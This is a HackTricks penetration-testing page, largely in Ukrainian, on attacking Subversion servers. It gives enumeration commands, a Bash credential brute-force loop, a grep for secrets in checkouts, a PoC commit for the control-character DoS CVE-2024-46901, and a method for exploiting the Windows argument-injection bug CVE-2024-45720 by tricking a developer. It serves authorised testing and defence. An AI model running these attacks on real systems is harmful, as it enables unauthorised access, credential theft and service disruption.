3690/tcp - Pentesting Subversion (SVN) сервер

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Subversion (SVN) є централізованою системою керування версіями (ліцензія Apache), яка використовується для версіонування програмного забезпечення та контролю ревізій.

Порт за замовчуванням: 3690/tcp (svnserve). Також може бути доступний через HTTP/HTTPS через mod_dav_svn та через svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeration

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf може дозволяти anon-access = read (або навіть write). Якщо ви можете перелічити репозиторій, спробуйте виконати checkout, щоб витягти secrets, scripts, CI tokens.
  • Репозиторії часто зберігають build pipelines, deployment keys, та database credentials у версіонованих конфігураційних файлах. Перегляньте робочу копію після checkout: grep -R "password\|secret\|token" -n ..
  • Якщо ввімкнено svn+ssh, shell’и користувачів часто дозволяють запуск обмежених svnserve команд; спробуйте ssh user@host svnserve -t з crafted subcommands, щоб обійти wrappers.

Bruteforcing credentials (svnserve)

sasl authentication (якщо увімкнено) та прості password-файли захищені лише транспортом; за замовчуванням немає lockout. Швидкий Bash loop може перебрати credentials:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Нещодавні вразливості (практичний вплив)

mod_dav_svn DoS через символи керування (CVE-2024-46901)

  • Користувач з правами commit може записати шлях, що містить символи керування (наприклад \x01, \x7f), які корумпують репозиторій, через що подальші checkouts/logs не виконуються і це потенційно може спричинити краш mod_dav_svn workers.
  • Впливає на Subversion ≤ 1.14.4, коли подається через HTTP(S) (mod_dav_svn). Виправлено в 1.14.5.
  • PoC commit with svnmucc (requires valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Після commit звичайні клієнти можуть аварійно завершувати роботу або відмовлятися від оновлень, поки адміністратори вручну не видалять ревізію за допомогою svnadmin dump/filter/load.

Windows argument injection in svn client (CVE-2024-45720)

  • На Windows кодування символів “best-fit” у svn.exe дозволяє command-line argument injection під час обробки спеціально сформованих non‑ASCII шляхів/URL, що потенційно призводить до виконання довільних програм.
  • Зачіпає Subversion ≤ 1.14.3 лише на Windows; виправлено в 1.14.4. Attack surface: phishing a developer to run svn on an attacker-controlled URL/path.
  • Pentest angle: якщо ви контролюєте мережеву шара чи ZIP, переданий Windows-розробнику, назвіть URL репозиторія або шлях робочої копії так, щоб вони містили best-fit байти, які декодуються в " & calc.exe & "-style injected args, а потім обманом змусьте жертву запустити svn status або подібну команду для цього шляху.

Notes for Exploitation Workflow

  1. Check access method: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), or svn+ssh://.
  2. Try anonymous read first; then spray common creds. If HTTP Basic is used, reuse creds found elsewhere.
  3. Enumerate hooks: hooks/pre-commit, post-commit scripts іноді містять plaintext credentials або hostnames.
  4. Leverage svn:externals to pull additional paths from other hosts; list them with svn propget svn:externals -R . after checkout.
  5. Version leaks: HTTP response headers from mod_dav_svn usually show the Subversion & Apache version; compare against 1.14.5 to spot vuln targets.
  6. Якщо ви отримали доступ до файлової системи репозиторію, svnadmin dump/svnlook author/svnlook dirs-changed дозволяють робити offline аналіз без облікових даних.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks